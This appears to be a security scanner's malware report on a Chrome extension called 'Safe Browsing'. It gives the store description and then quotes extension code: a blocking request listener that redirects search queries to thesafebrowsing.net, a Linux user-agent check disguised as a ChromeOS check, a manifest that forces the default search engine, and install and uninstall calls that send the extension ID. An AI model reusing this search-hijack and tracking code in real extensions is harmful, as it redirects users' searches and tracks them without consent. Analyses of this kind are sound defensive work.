Security Alert: Confirmed Malware
Safe Browsing
ID: iebodjcgladnobmhfakjhpclcekebhpp
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- http://thesafebrowsing.comView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- Yes
- Mailbox exists
- Yes
Turns on SafeSearch filter from popular search engines to help you avoid unsafe content in the results of your search feed.
This is an extension for the Chrome browser and Chrome OS. Whether you are using this extension at work with colleagues, at home with children, or in an Internet cafe just by yourself, our extension helps you filter out explicit and hazardous adult content from your feed. After this extension has been successfully added to your browser, the default status of SafeSearch filter will be set as ON. You can turn it off at any time from inside the extension’s Settings. Please note that the filter is not 100% bulletproof. You might still be exposed to unsafe content. Permissions used and reasons: 1. Access to “contextMenus”. We require this permission to add items to the drop-down menu of the extension’s icon in order to provide a better user experience. 2. Access to “webRequest”, “webRequestBlocking”, and “webNavigation”. These permissions allow us to use our search domain thesafebrowsing.net (powered by Yahoo) as a placeholder to turn on the SafeSearch from your address bar. In this extension, we also support Google and Bing. If you want to change your search engine, you can go to the Settings of your extension and make the change. 3. Access to “cookies”. We require this permission to save your customized settings of this extension. 4. Access to "<all_urls>". we require this permission to check your default search engine. How to remove this extension? If you want to remove our extension, go to “Settings” on Chrome, and find our extension in the “Extensions” tab. Click “remove”. Alternatively, you can right-click on the extension’s icon on your browser and select “Uninstall” from the drop-down menu. Chrome™ and Chrome OS™ are trademarks of Google LLC. The use of them does not imply any affiliation to or endorsement by Google LLC. By adding this extension to your Chrome browser, you accept and agree to our Privacy Policy and Terms of Use. Privacy Policy: https://thesafebrowsing.com/privacy Terms of Use: https://thesafebrowsing.com/terms FAQ: https://thesafebrowsing.com/#faq Contact Us: https://thesafebrowsing.com/contact Uninstall: https://thesafebrowsing.com/uninstall
The extension registers a blocking webRequest listener on ALL URLs for main_frame requests and intercepts any navigation that resembles a search query on any search engine, silently redirecting the user's query to the extension's own search portal (thesafebrowsing.net). This is the core search-hijacking mechanism — the user's chosen search engine is bypassed without consent.
chrome.webRequest.onBeforeRequest.addListener(details => { if (localStorage.getItem('is_chromeos') === 'true' && details instanceof Object && details.url) { const newUrl = removeParameterFromURL(details.url, _store__WEBPACK_IMPORTED_MODULE_0__["default"] .getters["app/config"].searchEngineParams); if (localStorage['defaultSearchEngine'] && isSimilar(newUrl, localStorage['defaultSearchEngine']) > 0.7) { const query = getParameterByName(details.url, _store__WEBPACK_IMPORTED_MODULE_0__["default"].getters[ "app/config"].searchEngineParams); if (query) { const redirectUrl = removeParameterFromURL(_store__WEBPACK_IMPORTED_MODULE_0__["default"].getters[ "app/config"].safeSearchDomain, ['q']); return { redirectUrl: `${redirectUrl}&se=${_store__WEBPACK_IMPORTED_MODULE_0__["default"].getters["settings/settings"].se}&q=${query}` }; } } }}, { urls: ['<all_urls>'], types: ['main_frame']}, ['blocking']);The function is named `isChromeOS()` but also returns true for any Linux user-agent string (which includes most Linux desktops and many server user-agents). This causes the aggressive webRequest search interception path to execute on all Linux users, far beyond the stated ChromeOS scope. The broadened condition is almost certainly deliberate to maximize search hijacking reach while the function name provides plausible deniability in code review.
function isChromeOS() { return navigator.userAgent.indexOf('CrOS') !== -1 || navigator.userAgent.indexOf('Linux') !== -1;}The extension names itself 'Safe Browsing', directly impersonating Google Chrome's built-in Safe Browsing security feature to gain user trust and pass store review heuristics. The `is_default: true` field silently forces this third-party search portal (monetized via the `yid=m4ds` affiliate tracking parameter) to become the user's default search engine upon installation without explicit user agreement.
{ "name": "Safe Browsing", ... "chrome_settings_overrides": { "search_provider": { "is_default": true, "name": "Safe Browsing", "search_url": "https://www.thesafebrowsing.net/search/?category=web&yid=m4ds&vert=safe&q={searchTerms}", "suggest_url": "https://sug.thesafebrowsing.net/v1/sug/?yid=m4ds&vert=safe&q={searchTerms}" } }}On install and uninstall, the extension phones home to thesafebrowsing.net with the user's unique extension runtime ID and the affiliate tracking parameter `yid=m4ds`. The runtime ID is stable across browser sessions and functions as a persistent pseudonymous identifier, enabling the operator to track individual users across interactions.
initConfigAction({ commit, getters}) { ... commit('setConfig', { ... uninstall: `${getters.url.origin}/wim/uninstall?s=${getters.params['yid']}&vert=${getters.params['vert']}&id=${chrome.runtime.id}`, like: `${getters.url.origin}/wim/rate?id=${chrome.runtime.id}&s=${getters.params['yid']}&a=LikeLink`, ... });}By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 3.0.5 | 4 |
Files with findings
2 distinct paths — top paths by unique finding count:
- background.js3
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.